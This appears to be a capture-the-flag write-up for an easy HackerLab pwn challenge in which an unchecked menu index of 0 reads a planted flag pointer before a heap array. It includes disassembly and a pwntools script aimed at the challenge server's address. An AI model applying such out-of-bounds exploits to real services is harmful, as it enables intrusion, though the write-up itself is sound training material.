Куча подарков (Heap of Gifts)
Куча подарков (Heap of Gifts)
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: heap_metadata_read, oob_array_read
Summary
Task: New Year gift selection program with heap-based storage. Solution: Out-of-bounds array read via input 0 causes integer underflow in indexing formula, reading ptr_gifts[-1] which contains the real flag pointer.
Куча подарков (Heap of Gifts) — HackerLab PWN
Description
"Хотите ли вы узнать, какие подарки вас ожидают в Новом году? Без проблем, просто запустите этот файл и всё узнаете. С наступающим Новым годом! :)"
Server: 62.173.140.174:27200
Category: PWN
Difficulty: Easy
Points: 300
Binary Analysis
Protections
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Functionality
The program is a New Year gift selection with 4 menu options:
- Get a gift — generates a random gift from the list
- Write a message to Santa — reads a message until the
*character - Take gifts — allows selecting one of the received gifts
- Exit
Data Structures
gifts[16]— array of pointers to gift strings (including fake flagC0DEBY{Et0_nE_fl@g})ptr_gifts— pointer to heap array with received giftsnum_gift— number of received giftsptr_fgift— pointer to selected gift
Vulnerability
get_gift Function
When receiving the second gift, an interesting write occurs:
asm read-only • copy allowedmov rax, [ptr_gifts] lea rdx, [rax - 8] ; rdx = ptr_gifts - 8 mov rax, [gifts+0x78] ; rax = gifts[15] (fake flag) mov [rdx], rax ; *(ptr_gifts - 8) = gifts[15]
This writes a pointer to the fake flag into ptr_gifts[-1] (heap metadata area).
my_gifts Function
When selecting a gift:
asm read-only • copy allowedmovzx edx, byte [rbp-0xa] ; input (0-255) movsx rdx, dl ; sign extend shl rdx, 3 ; rdx = input * 8 sub rdx, 8 ; rdx = input * 8 - 8 add rax, rdx ; rax = ptr_gifts + input*8 - 8 mov rax, [rax] ; rax = *(ptr_gifts + input*8 - 8) mov [ptr_fgift], rax ; ptr_fgift = rax
Vulnerability: No bounds checking for input!
If input = 0:
rdx = 0 * 8 - 8 = -8- Reads
*(ptr_gifts - 8)= pointer to the real flag!
Solution
Exploitation Steps
- Get the first gift (option 1)
- Get the second gift (option 1) — this writes the flag pointer to
ptr_gifts[-1] - Take gifts (option 3)
- Enter
0instead of1or2 - The program reads
ptr_gifts[-1]and outputs the real flag
Exploit
python read-only • copy allowedfrom pwn import * p = remote('62.173.140.174', 27200) # Get first gift p.recvuntil(b':') p.sendline(b'1') p.recvuntil(b'Enter') p.sendline(b'') # Get second gift p.recvuntil(b':') p.sendline(b'1') p.recvuntil(b'Enter') p.sendline(b'') # Take gifts with OOB read p.recvuntil(b':') p.sendline(b'3') p.recvuntil(b'2):') p.sendline(b'0') # OOB read: ptr_gifts[-1] # Get flag data = p.recvall(timeout=5) print(data.decode('utf-8', errors='ignore'))
Key Points
- Heap metadata corruption — writing to
ptr_gifts[-1]corrupts heap metadata - Out-of-bounds read — input of
0allows reading beyond array bounds - Integer underflow —
input * 8 - 8withinput = 0gives a negative offset - Fake flag —
C0DEBY{Et0_nE_fl@g}in the binary is a decoy